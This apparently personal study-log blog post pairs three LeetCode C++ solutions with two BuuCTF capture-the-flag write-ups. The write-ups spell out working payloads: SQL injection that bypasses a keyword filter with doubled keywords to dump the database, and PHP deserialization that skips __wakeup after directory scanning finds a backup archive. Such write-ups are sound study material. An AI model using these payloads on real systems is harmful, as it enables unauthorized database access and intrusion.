20240220

LeetCode

各位相加

addDigits函数接受一个整数num作为参数,然后通过一个while循环来计算各位数字相加的结果。在循环中,首先将num的个位数字加到sum中,然后将num除以10,以便在下一次循环中继续计算下一位数字。当num变为0时,说明已经计算完所有位上的数字,此时判断sum的值是否小于10,如果小于10则直接返回sum作为结果;如果大于等于10,则将sum赋值给num,然后将sum重置为0,继续下一轮计算。最终返回的sum即为各位数字相加的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
int addDigits(int num) {
int sum=0;
while(num!=0)
{
sum+=num%10;
num=num/10;
if(num==0)
{
if(sum<10) return sum;
else
{
num=sum;
sum=0;
}
}
}
return sum;
}
};
丑数

isUgly函数接受一个整数n作为参数,然后通过三重循环来计算所有可能的2、3、5的指数组合,然后判断是否等于n。如果等于n,则返回true,表示n是一个丑数;如果循环结束都没有找到符合条件的组合,那么返回false,表示n不是一个丑数。这段代码的时间复杂度较高,因为通过三重循环计算所有可能的指数组合会导致算法效率低下,更好的解决方案是通过不断除以2、3、5来简化n,直到n变为1或者无法再被2、3、5整除为止。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
bool isUgly(int n) {
if(n<=0) return false;
int i=0,j=0,z=0;
for(i=0;i<32;i++)
{
for(j=0;j<20;j++)
{
for(z=0;z<14;z++)
{
if(pow(2,i)*pow(3,j)*pow(5,z)==n) return true;
}
}
}
return false;
}
};
丢失的数字

missingNumber函数接受一个整数数组nums作为参数,首先对nums进行排序,然后获取nums的长度n。接着判断特殊情况:若数组只有一个元素,则返回1减去该元素的值;若数组的第一个元素不是0,则返回0(因为0是缺失的数字)。然后通过循环遍历数组中的元素,找到第一个不连续的数字,即当前数字和下一个数字之差不为1,此时缺失的数字就是当前数字加1。最终返回的结果即为缺失的数字。这段代码的时间复杂度为O(nlogn),因为对数组进行了排序操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
int missingNumber(vector<int>& nums) {
sort(nums.begin(),nums.end());
int n=nums.size();
int i=0;
if(n==1) return 1-nums[0];
if(nums[0]!=0) return 0;
for(i=0;i<n-1;i++)
{
if(nums[i+1]-nums[i]!=1)
{
break;
}
}
return nums[i]+1;
}
};

BuuCTF

15、BabySQL

常规注入:/check.php?username=admin&password=1' union select 1#

image

根据报错信息,猜测union 、select可能被过滤了,试一下双写绕过
/check.php?username=admin&password=1' ununionion seselectlect 1#

image

URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23,登录成功

image

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23,猜测flag在ctf里

image

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

image

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

image

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

得到flag

image

1
flag{009a3737-39ae-44ff-8bfb-45287b1e2093}
16、PHP

题目提示了备份网站

image

使用目录扫描工具 dirsearch

目录扫描工具 dirsearch 使用详解 - FreeK0x00 - 博客园 (cnblogs.com)

可以直接到github上下载压缩包,解压后,进入目录运行cmd

首先安装dirsearch:python setup.py install

如果报错,可能是因为pip版本太低,更新pip:python -m pip install --upgrade pip

运行,开始扫描:py -3.9 dirsearch.py -u http://15349308-86d1-4f57-8e2c-50b34e5d48eb.node4.buuoj.cn:81/ -e php

响应成功的如下图所示

image

image

访问www.zip文件,下载了一个压缩包

image

解压得到一系列文件

image

查看index.php文件,发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

所以页面可以传进一个参数select然后把它反序列化,反序列化的过程中会用到class.php

image

查看class.php文件,有输出flag的条件

要调用到__destruct()并且password=100,username=admin才能echo $flag

image

魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)

魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

构造序列化,php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

序列化后是这样的:

image

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后url识别不了”,改为%22

1
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

1
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

完整payload:

1
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

得到flag

image

1
flag{1e6c9083-a44b-4c83-9a9c-f865d6230e68}